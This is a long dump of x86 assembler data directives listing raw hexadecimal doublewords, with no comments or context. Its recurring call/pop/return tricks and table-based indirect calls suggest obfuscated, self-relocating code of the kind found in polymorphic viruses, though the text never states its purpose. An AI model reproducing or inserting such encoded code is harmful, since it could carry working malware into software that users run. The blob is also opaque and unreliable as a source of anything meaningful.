		dd 18042444h, 40000000h, 786DC350h, 0E9A3D097h,	10h, 5ED8012Eh
		dd 0F65BF7E6h, 0F8546E8Ch, 8D1CEEC6h, 20918589h, 6E807E0h
		dd 53000000h, 744705D5h, 59FA8B16h, 75985C6h, 6A5707E0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8169C353h, 0BD9798F1h, 52066876h,	0B5FF9004h
		dd 7E02F01h, 0AC9A76BAh, 0F8858D77h, 0E907E039h, 5, 0AB4E81AAh
		dd 89D0FFBEh, 0E01C998Dh, 89858907h, 6607E033h,	6A3EE981h
		dd 2118D0Bh, 85C607E0h,	7E00759h, 2DB52943h, 0BA07E007h
		dd 3803C7A3h, 90702868h, 53006ABCh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 715C6AC5h, 1B5FF91h, 6A07E02Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 493EC351h, 64E5D2CCh, 9E4910B7h, 3C0AF8BFh
		dd 0F8858D78h, 6A07E039h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 993C357h, 0E99589D6h
		dd 8B07E018h, 0E02CE9BDh, 66D0FF07h, 1AE9D181h,	1AA58589h
		dd 0F5007E0h, 118Eh, 0CE900h, 0C2270000h, 0C5A7A984h, 2162AFABh
		dd 8059B2B8h, 85C63ADDh, 7E00759h, 1CE9684Ch, 0B5FFD9DAh
		dd 7E02F01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0CAC35141h, 0ADB25049h,	3D6CDEFh, 0F8858D61h, 8107E039h
		dd 65164ECFh, 0FCD0FF1Ah, 1F6D8589h, 0D1BF07E0h, 0C66FF67Dh
		dd 0E0075985h, 6A4607h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0DE630AC3h, 0E9B783ADh, 858B6039h
		dd 7E01555h, 93D08166h,	146861AAh, 51BADE06h, 8F95EF81h
		dd 0FF5A7105h, 0E02F01B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 65BDE20Ah
		dd 89FD5BD4h, 0E008D99Dh, 0F8858D07h, 0E807E039h, 14h
		dd 861B7E33h, 8AC94537h, 0A7CC8CBCh, 988C488Eh,	471AB9EBh
		dd 2EDD958Bh, 0FF5A07E0h, 14E9D0h, 96CD0000h, 2411AC9Bh
		dd 0AF8D8CBh, 881DDDF6h, 56A7246Dh, 85899B36h, 7E02F25h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BFC35343h
		dd 80AB73E3h, 85C6A3C9h, 7E00759h, 0C1B58947h, 6807E033h
		dd 8A0FB5E2h, 22798D8Bh, 806007E0h, 61F557DCh, 2F01B5FFh
		dd 0B8BA07E0h, 8D4280E2h, 0E039F885h, 0FF69B507h, 11E9D0h
		dd 85470000h, 0F317A822h, 594C80Dh, 5AD88D20h, 8959B6B7h
		dd 0E01D0585h, 898D8B07h, 0C607E011h, 0E0075985h, 0E9F54707h
		dd 6, 6665D00h,	0F368B966h, 6083D0B5h, 20B1B589h, 8A0F07E0h
		dd 6, 29F9BD03h, 0FF6107E0h, 0E02F01B5h, 0F59D8907h, 8D07E024h
		dd 0E039F885h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 5CAD2131h, 0BAD0FF82h
		dd 7480605Ah, 1B8D8589h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 250255C3h, 19C7F25Ah
		dd 0E95CD5F8h, 7, 33D997F7h, 0FDA6740h,	198Ah, 14E900h
		dd 0DFB00000h, 88BDD70Ch, 657B308Dh, 0C9D66382h, 93D529E5h
		dd 85C6EC66h, 7E00759h,	6880F77h, 0B000000h, 0E02679BDh
		dd 0A8A36807h, 0FFF9F397h, 0E03085B5h, 1830F07h, 0F5000000h
		dd 0AE9h, 82AA2300h, 0AF0A4342h, 8D194F0Bh, 0E039F885h
		dd 0E59D2907h, 0FF07E02Ah, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0A4E8C164h
		dd 0F957C6E3h, 958B1307h, 7E02B75h, 19D1BD8Bh, 858907E0h
		dd 7E01881h, 0CE8h, 4BE88E00h, 0A339D52Fh, 0A0910E2Ch
		dd 9E86Bh, 0A9360000h, 6A2BA051h, 66AA8282h, 5A0ED9B9h
		dd 5985C65Fh, 4707E007h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 88C35646h, 0F668DAF8h, 6A8728FAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0A449C352h, 1B5FF72h, 5307E02Fh, 3C1CABB9h, 858D5F18h
		dd 7E039F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0C35040h, 0ED5502A5h, 0FDBD2360h, 0FF07E02Fh, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D68B5634h, 18A0F59h, 0F9000000h, 289D8589h,	0BD8B07E0h
		dd 7E03251h, 75985C6h, 0E94307E0h, 10h,	4F231846h, 0BC7F6321h
		dd 0A67417D3h, 0F2806756h, 8E6EFC68h, 5DE980BCh, 2F01B5FFh
		dd 0BD8907E0h, 7E01435h, 39F8858Dh, 0BD8907E0h,	7E02D5Dh
		dd 0ABFD0FFh, 8924DC34h, 0E02E4985h, 5952907h, 0C607E020h
		dd 0E0075985h, 6A4507h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0B59EC0C3h, 2C9A4FB6h, 8D8B68B7h
		dd 7E026D9h, 72696968h,	0E1BD2B8Eh, 8B07E01Ch, 0E0255D95h
		dd 1B5FF07h, 2907E02Fh,	0E008FD8Dh, 0F8858D07h,	0F07E039h
		dd 484h, 0FDB15100h, 0FD0FF59h,	8B66FBBFh, 0FD8589D7h
		dd 0E907E028h, 0Dh, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h
		dd 5985C620h, 4407E007h, 1D399589h, 646807E0h, 80B8F2ECh
		dd 0B5FFC6D6h, 7E02F01h, 0E0B4BA66h, 39F8858Dh,	9D8907E0h
		dd 7E03445h, 8D8BD0FFh,	7E0227Dh, 1EB98589h, 0FE807E0h
		dd 82000000h, 9E79EA2h,	0AE23992h, 29F53BC8h, 1595485h
		dd 0E02D419Dh, 5985C607h, 4307E007h, 1A5BD8Bh, 0BD8B07E0h
		dd 7E0058Dh, 764AA768h,	1B5FFC0h, 6A07E02Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0A8D2C356h, 858D9AA7h, 7E039F8h, 6E9h, 11187400h, 0FFF3CED8h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89AB8A7Eh, 0E001B985h, 0BD80FC07h, 7E309C5h
		dd 0C7840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 544DC357h, 1E8D7D1h
		dd 0E013799Dh, 598D8B07h, 8D07E02Eh, 0E309A785h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 8CBFC48Fh, 0EAE540C1h, 2AA9BD09h, 895007E0h,	0E01BFD95h
		dd 60016A07h, 89F28B66h, 0E03371BDh
		dd 6A6107h, 0BE950h, 16FF0000h,	0C523EE97h, 59A77D5Fh
		dd 66605A71h, 0BE66F28Bh, 6A615E41h, 1958B00h, 0FF07E002h
		dd 0E01AA595h, 0DFD5BF07h, 95896617h, 7E00849h,	1C018589h
		dd 0B70F07E0h, 81FF6AC8h, 942584D1h, 1B5FF75h, 0B107E01Ch
		dd 8995FF84h, 0F07E033h, 0C08BFAB7h, 35C78166h,	0B1BD8389h
		dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h
		dd 7D1h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h
		dd 740007E0h, 0B8535017h, 7D1h,	20F58589h, 9D8D07E0h, 7E2B951h
		dd 585BD3FFh, 5AC88B56h, 30818D89h, 0C08B07E0h,	1F840Fh
		dd 13E80000h, 0F7000000h, 1E2D6DF3h, 0A5D3C0Ah,	0CD1DBB9h
		dd 7F4C0E01h, 0BD33392Fh, 7E01D01h, 5985C659h, 4707E007h
		dd 8E9h, 72452600h, 19BDEEE9h, 0F7C168F6h, 6A93C8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 61676DC3h, 0C3754C6Ch, 21B58994h, 0FF07E01Ah, 0E02F01B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8D8DE8B0h, 0E039F885h, 5810F07h,	0BA000000h
		dd 4C033218h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 5010EBC3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0BFC35545h,	815DCA7Bh, 0C49F13EFh
		dd 9E93Ch, 8450000h, 9F21B312h,	8D3D5A9Eh, 0E30DE885h
		dd 0FE807h, 4A1A0000h, 0BEAEB108h, 62A8E747h, 9EBB5C54h
		dd 0D58D891Eh, 5F07E007h, 9400C7h, 58FC0000h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3EC35545h, 0F9581BE8h
		dd 3BBA9A12h, 8D57AE8Dh, 0E30DE8B5h, 0ABBF6607h, 0D48A5667h
		dd 958BD0FFh, 7E015A1h,	0DE8858Dh, 6A07E3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 17167FC3h
		dd 10E960A1h, 8D000000h, 5DCE9A61h, 33F7CE14h, 6DBFEBA6h
		dd 0F8D8641h, 689h, 0D9852B00h,	6107E033h, 78831CB2h, 850F0604h
		dd 4Ch,	11E9h, 0CDC76600h, 21D9953Eh, 1DE5C5h, 0A73991B9h
		dd 0DE941D5h, 0BF000000h, 0F5C531E0h, 7A687013h, 342B2AABh
		dd 0E7C85C7h, 107E3h, 0EE80000h, 0F000000h, 80CE475Fh
		dd 0A4742D13h, 0D1F4377Fh, 0BDB52977h, 5A07E021h, 2D6DBD83h
		dd 0F0007E0h, 6085h, 7CBD8300h,	7E30Eh,	53850Fh, 85890000h
		dd 7E0090Dh, 1CA9BD83h,	0F0007E0h, 4084h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 14F31061h, 0E985DCF4h, 0CF8AB3FFh, 226985C7h, 7E0h
		dd 0AE90000h, 83000000h, 9A56C3EFh, 0D02FE09Dh,	0DB8C66EBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DC35646h
		dd 9D894C79h, 7E02D35h,	23758D8Bh, 0C3F607E0h, 0F8840F04h
		dd 66000004h, 698AD781h, 16B185C7h, 7E0h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8071C3h, 7E309D2h, 1850F00h, 0FC000000h, 75985C6h
		dd 6A4707E0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 3A2AC351h, 3A66391Eh, 0B65D66A2h
		dd 5B8668F1h, 0B5FFE3E4h, 7E02F01h, 3455BD8Bh, 858D07E0h
		dd 7E039F8h, 0E9606CB2h, 5, 0BDD70CDFh,	61FDB188h, 68FCD0FFh
		dd 104h, 6676CA80h, 1707F781h, 0E2D9D8Dh, 0BD2307E0h, 7E000C5h
		dd 21BD8B53h, 0FF07E012h, 68B0FD0h, 0B000000h, 0E01B9195h
		dd 2D858D07h, 6A07E00Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 11C8C352h, 0DF8A2A28h
		dd 0D2B70F26h, 0D18B6651h, 6A505Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 850932C3h
		dd 7E019A5h, 0FE9h, 990E4400h, 0F6A69413h, 37F4ED61h, 6F3260D3h
		dd 984858Dh, 0BA6607E3h, 6A509252h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A890C356h
		dd 0E18166F5h, 858DDEADh, 7E30057h, 6800Fh, 0BD8B0000h
		dd 7E02AA9h, 50F9BF0Fh,	4820Fh,	0B9660000h, 95FFB2E1h
		dd 7E01881h, 835AF852h,	6A0CC4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 77F0C6C3h, 3A957964h
		dd 6A9AFFh, 8068h, 6A036A00h, 68006A00h, 80000000h, 57858Dh
		dd 0FF5007E3h, 0E02E4995h, 67858907h, 0C607E309h, 0E0075985h
		dd 87684707h, 0FFC7B15Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h
		dd 0FF006AD0h, 0E30967B5h, 0B6D0FF07h, 3DD78AD1h, 37D0h
		dd 33830Fh, 0BD8B0000h,	7E020F9h, 967B5FFh, 0BD3307E3h
		dd 7E00819h, 1B995FFh, 8D8B07E0h, 7E025B9h, 0A4E9h, 9606000h
		dd 0E0241DBDh, 959D8907h, 6107E023h, 67B5FF61h,	0E907E309h
		dd 8, 0BE679452h, 920742DEh, 1B995FFh, 9D2907E0h, 7E01E65h
		dd 0BD89006Ah, 7E01DADh, 6AFC006Ah, 0D58A5700h,	6A006A5Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0F14EC356h, 0BD8BB41Dh, 7E01E81h,	1375B531h
		dd 6A07E0h, 8D8B006Ah, 7E019E1h, 96B858Dh, 816607E3h, 50D938CAh
		dd 1CAD958Bh, 95FF07E0h, 7E02E49h, 10B18D09h, 0F88307E0h
		dd 8C850FFFh, 81000001h, 458E54D9h, 0DE858D7Bh,	0F07E2BFh
		dd 680h, 0B1852900h, 5707E001h,	58D8Bh,	0FF5A07E0h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 420FF65Ch, 81624F0Eh, 0BBEA8166h, 81006AF7h,	0E6075BD1h
		dd 0D58D8922h, 6A07E010h, 19958B00h, 0F07E00Bh,	686h, 55BD8B00h
		dd 6A07E031h, 0D68B6600h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 598054C3h, 958BA8B4h
		dd 7E0135Dh, 66CBBF0Fh,	0D7C7E781h, 8A56006Ah, 8D0B5AF0h
		dd 7E033E5h, 0B70F006Ah, 6B858DD6h, 8907E309h, 0E0138D8Dh
		dd 6A5007h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 48683EC3h, 428156h, 24F59531h, 95FF07E0h
		dd 7E02E49h, 68E0Fh, 9D890000h,	7E01219h, 0FFFF883h, 8A85h
		dd 0B58DF900h, 7E30373h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 4AC35343h, 812AB560h,	4160ACE7h, 858D6158h
		dd 7E2AE58h, 6E9h, 500EDD00h, 0FF90B481h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 6B7E0365h, 0DFA56721h, 79B501EBh, 8907E01Fh,	0E01371BDh
		dd 0F006A07h, 682h, 0AEDA8100h,	0FF65E49Bh, 0E028FD95h
		dd 898D8907h, 8907E000h, 0E3096785h, 61958B07h,	6A07E01Bh
		dd 8D67B600h, 0E3095F85h, 0D9858907h, 5007E00Fh, 1A29BD29h
		dd 46A07E0h, 23018589h,	858D07E0h, 7E02A89h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 65C35343h, 0C5E47935h
		dd 1DCF310Ah, 4A59D89h,	0B65007E0h, 65B50917h, 6A07E012h
		dd 0B6EF8100h
		dd 6A5D3F5Dh, 558D8900h, 6A07E008h, 67B5FF01h, 0E907E309h
		dd 0Bh,	8964C7D7h, 6D66F2D3h, 0FF883442h, 0E01EB995h, 9E907h
		dd 0E1760000h, 97B143BFh, 0E996F2A3h, 1BD5h, 1DADB589h
		dd 816607E0h, 8BA0FFDAh, 0B18D8BC0h, 8307E026h,	0E006B1BDh
		dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 7D2B8C0h
		dd 85890000h, 7E020F5h,	0BC629D8Dh, 0D3FF07E2h,	0BD83585Bh
		dd 7E001C5h, 50177400h,	7D2B853h, 85890000h, 7E020F5h
		dd 0B9519D8Dh, 0D3FF07E2h, 0CF8B585Bh, 0BF0FC08Bh, 0B185C7D2h
		dd 107E016h, 52000000h,	5F58D980h, 0E4E7B868h, 71B5FFCEh
		dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E0089185h, 0C3858D07h
		dd 5007E30Bh, 0E80858Dh, 685007E3h, 80000001h, 89195FFh
		dd 0C00B07E0h, 85C70A75h, 7E00FCDh, 1, 5DBD468h, 71B5FFC0h
		dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E022FD85h, 10858D07h
		dd 5007E2FEh, 2F01B5FFh, 95FF07E0h, 7E01D05h, 0B74C00Bh
		dd 858DD88Bh, 7E30DC3h,	8DD3FF50h, 0E30DC385h, 38836607h
		dd 0C70A7509h, 0E0056985h, 107h, 9D95FF00h, 2507E028h
		dd 0FFh, 7305F883h, 0B585C70Ah,	107E023h, 80000000h, 9D8908C9h
		dd 7E02535h, 9D2BD80h, 0F0007E3h, 2384h, 83C88B00h, 0E30E7CBDh
		dd 840F0007h, 2Ah, 0FE9h, 0BDFF1300h, 7954D520h, 9041CF25h
		dd 81207C2h, 1A78E9h, 5E800h, 0B8AB0000h, 89C9E88Ch, 0E01AD5BDh
		dd 0BD835A07h, 7E00569h, 0FF850F00h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 565CC356h, 0BD8B8D0Dh, 7E0162Dh, 201BD89h, 858D07E0h
		dd 7E3099Ch, 8B503BB2h,	6A016AFEh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8CD8C356h
		dd 0C283E288h, 896063C8h, 0E0020185h, 0CAEB8107h, 615B660Eh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5C4285C3h, 0B4120E9h, 0E025118Dh,	66006A07h
		dd 95FFCE8Bh, 7E01AA5h,	13B58D33h, 858907E0h, 7E309C6h
		dd 0DE9h, 970B5700h, 367A758Dh,	7B59C117h, 0FF6A42DCh
		dd 11E9h, 641AC400h, 791659B2h,	0B8117847h, 9B42EA02h
		dd 0B5FF9CB8h, 7E309C6h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0F6C35343h, 95FF11E7h, 7E03389h, 858D73B6h
		dd 7E2FDD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0AFC35646h, 0CA892D06h,	89CE8B13h, 0E0157985h
		dd 6A5007h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0EB63ADC3h, 0A36B7DAh, 5E9h, 3F200700h, 95FFD13Ah
		dd 7E01F6Dh, 24359589h,	0D68007E0h, 618589ACh, 8B07E2FEh
		dd 0E026758Dh, 0E4858D07h, 8907E2FDh, 0E023A5B5h, 0CE95007h
		dd 40000000h, 0A7FDD57Bh, 0DB0CA3D9h, 0FFE15C7Ah, 0E2FE61B5h
		dd 89BD8907h, 0FF07E010h, 0E01D0595h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 7E5E2060h, 40D5B966h, 16758589h, 6A07E0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 15DBBDC3h
		dd 5CCCD363h, 342D9529h, 858D07E0h, 7E2FE52h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 191996CBh
		dd 81A2F54Ah, 0EEE937E2h, 0B5FF5038h, 7E2FE61h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 65C35040h, 2A931940h
		dd 800823C3h, 95FF1BE5h, 7E01D05h, 0B23BE281h, 85892A29h
		dd 7E2FE75h, 19458D33h,	858D07E0h, 7E2FE31h, 39EA8166h
		dd 0EF81509Ch, 792C9A4Bh, 0FE61B5FFh, 0BD0B07E2h, 7E01A9Dh
		dd 1D0595FFh, 0D28007E0h, 6D85890Fh, 0F07E2FEh,	858DD1B7h
		dd 7E2FE24h, 1D1D9D29h,	515007E0h, 2DC19D89h, 0F5A07E0h
		dd 0B5FFCFB7h, 7E2FE61h, 0AA5AF781h, 8D8B5558h,	7E03165h
		dd 1D0595FFh, 858907E0h, 7E01689h, 0FE718589h, 0B70F07E2h
		dd 3F858DCEh, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0DC46C355h,	12E8h
		dd 160E6B00h, 0DA41B950h, 1B2CBE45h, 11729D8Ch,	8AE1DD72h
		dd 0EE95AD5h, 0CC000000h, 0F2989D42h, 0D2A0228Dh, 60E99C91h
		dd 0D78A50E8h, 0FE61B5FFh, 8B6007E2h, 18850FFAh, 0E8000000h
		dd 12h,	9E127515h, 1C718157h, 68E6399Eh, 0FE932D80h, 615E8C49h
		dd 1D0595FFh, 0D58007E0h, 7D8589CDh, 0F07E026h,	858DD3BFh
		dd 7E2FDF3h, 26B1B589h,	958B07E0h, 7E01C75h, 56006A50h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 89813F8Dh, 0BD17D2F6h, 0FE61B5FFh, 0EA8107E2h, 21B2CAB0h
		dd 1D0595FFh, 0CF8A07E0h, 0FE658589h, 8B6607E2h, 2858DF8h
		dd 8107E2FEh, 0F5969EFh, 6A5039h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0FC3FB0C3h, 0FE61B5FFh
		dd 9E807E2h, 83000000h,	62BCA0ECh, 1AE1EB60h, 5F5F5052h
		dd 595FF59h, 8B07E01Dh,	0E005B18Dh, 69858907h, 8B07E2FEh
		dd 0E013718Dh, 1046807h, 0B9660000h, 858DA9F0h,	7E2FEF9h
		dd 880Fh, 0BF660000h, 0F501220h, 683h, 75B58900h, 8D07E006h
		dd 0E2FFFD85h, 0CE8B6607h, 0B18D8950h, 0FF07E030h, 0E01B8D95h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0F238137Dh, 810F566Dh, 6, 2AA98D8Bh, 0C08507E0h
		dd 6850Fh, 958B0000h, 7E02FFDh,	9D2BD80h, 0F0007E3h, 1B85h
		dd 0FE900h, 0C4020000h,	66242600h, 0EE9716FFh, 7D5FC523h
		dd 15A7E9A7h, 5A520000h, 569BD83h, 0F0007E0h, 3585h, 15810F00h
		dd 0E9000000h, 10h, 0DCD24DCAh,	8E85AB8Bh, 0F69C487Eh
		dd 0A243DA4Fh, 0E7CBD83h, 0F0007E3h, 4884h, 0E2816600h
		dd 2952D85Ah, 0E030D185h, 858D5907h, 7E2FE96h, 0DEE98166h
		dd 1553E9C3h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0FC1024C3h, 0FE90755h, 8B000000h
		dd 0E0308195h, 81858D07h, 8007E2FEh, 89502FD5h,	0E031DD95h
		dd 858DF507h, 7E2FEF9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 1CC35545h, 18057CA1h,	958B6798h, 7E01B81h
		dd 0F88B6650h, 569BD83h, 0F0007E0h, 1A84h, 918D8B00h, 8D07E021h
		dd 0E3001F85h, 0CFBF0F07h, 10E9h, 0B5BD2900h, 8D07E02Fh
		dd 0E3000885h, 16B96607h, 8D8B50B5h, 7E004D1h, 57858DF9h
		dd 907E300h, 0E0069D85h, 0BD295007h, 7E01D1Dh, 188195FFh
		dd 0EF8107E0h, 4CBCF3E6h, 19399529h, 0C48307E0h, 81665310h
		dd 5F58B3CFh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 61DFFBC3h, 0D8111874h, 0B1BD83F8h
		dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h
		dd 7D3h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h
		dd 740007E0h, 0B8535017h, 7D3h,	20F58589h, 9D8D07E0h, 7E2B951h
		dd 585BD3FFh, 0F8BF86B1h, 8B2C00D8h, 0BD8509C0h, 8107E025h
		dd 0E2FE81BDh, 65726F07h, 8A840F61h, 81000000h,	0A24906D1h
		dd 0F9858D51h, 5007E2FEh, 36858Dh, 8D5007E3h, 0E3005785h
		dd 95FF5007h, 7E01881h,	0C60CC483h, 0E0075985h,	4F684407h
		dd 0FF96A318h, 0E02F01B5h, 0F8858D07h, 0FF07E039h, 8DD88BD0h
		dd 0E3005785h, 0D3FF5007h, 0FE81858Dh, 8D5007E2h, 0E2FEF985h
		dd 0BD835007h, 7E00569h, 8D087400h, 0E3001F85h,	8D06EB07h
		dd 0E3000885h, 858D5007h, 7E30057h, 8195FF50h, 8307E018h
		dd 8B910C4h, 294DB731h,	0E007BD95h, 9D95FF07h, 6607E028h
		dd 2538E6BAh, 0FFh, 2AA99501h, 0F88307E0h, 52830F05h, 52000000h
		dd 61BD8B50h, 5907E018h, 0B585C75Fh, 107E023h, 8D000000h
		dd 0E2FEB585h, 958B5007h, 7E033ADh, 0B529515Fh,	7E01D71h
		dd 9AE95Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 31A08AC3h, 0E0106D85h, 69BD8307h
		dd 7E005h, 60840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 930F4DC3h, 2F6E49C0h
		dd 8B6F56BEh, 0E0858DFBh, 6A07E2FEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F5ECC353h
		dd 4DC18134h, 893C1DC3h, 0E0123585h, 0EE907h, 0BA660000h
		dd 858D6143h, 7E2FEC2h,	7519BA66h, 0FEF58589h, 0BF6607E2h
		dd 0BD83A8EEh, 7E00569h, 2B850F00h, 60000000h, 5E9h, 68B08200h
		dd 0B58B82BAh, 7E00775h, 2DBD8B61h, 8307E016h, 0E30E7CBDh
		dd 840F0007h, 11h, 2DE59D89h, 36E907E0h, 89000012h, 0E01595BDh
		dd 4D2E907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0DF577CC3h, 7FEDFAADh, 899D4BC6h
		dd 0E02AB9BDh, 0FC08B07h, 68Dh,	0ADBD8900h, 8307E016h
		dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
		dd 7D4B8C0h, 85890000h,	7E020F5h, 0BC629D8Dh, 0D3FF07E2h
		dd 0BD83585Bh, 7E001C5h, 50177400h, 7D4B853h, 85890000h
		dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0E980585Bh, 8BC08B83h
		dd 0E0340D95h, 3F6807h,	6A000Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0E46CD9C3h, 8D2387CEh
		dd 7E00475h, 39BA006Ah,	6A6B2087h, 0CD958B00h, 0FF07E011h
		dd 0E0167595h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0F51C916h, 68Ch, 0A59D2900h
		dd 5907E014h, 850FC085h, 1, 798589F8h, 6A07E2FEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B689C356h, 2F3846ABh, 6E95D58h, 66000000h, 0FDBF7BF2h
		dd 9E999h, 0ABC70000h, 15EEF1A1h, 6AFF46B8h, 0E1B52900h
		dd 6A07E008h, 8B006A00h, 0E017C9BDh, 0E9006A07h, 0Ah, 0E7AA5693h
		dd 7B7A9895h, 6AAF67h, 30BD8D2Bh, 830F07E0h, 6,	201DBD8Bh
		dd 858D07E0h, 7E30057h,	18C98589h, 8D8B07E0h, 7E01C51h
		dd 50006A50h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 81663A57h, 6A28A0C1h, 0B5958B01h, 8007E02Dh
		dd 16A71D6h, 11E9h, 0EF120C00h,	0B0BB8E38h, 8B7524CBh
		dd 41893242h, 16A950Ah,	0F166E981h, 8166180Fh, 6844EDCAh
		dd 0F01FFh, 69D9529h, 0ED8007E0h, 69BD831Eh, 7E005h, 42840Fh
		dd 858D0000h, 7E2FED6h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 26C35646h, 0E9F40DC7h, 9, 0E0126F03h
		dd 3FCDCE0Ah, 1D9D89C1h, 0E907E020h, 0Fh, 0A746B966h, 0FEAC858Dh
		dd 816607E2h, 508C14E1h, 1951BD89h, 565007E0h, 59CE8B66h
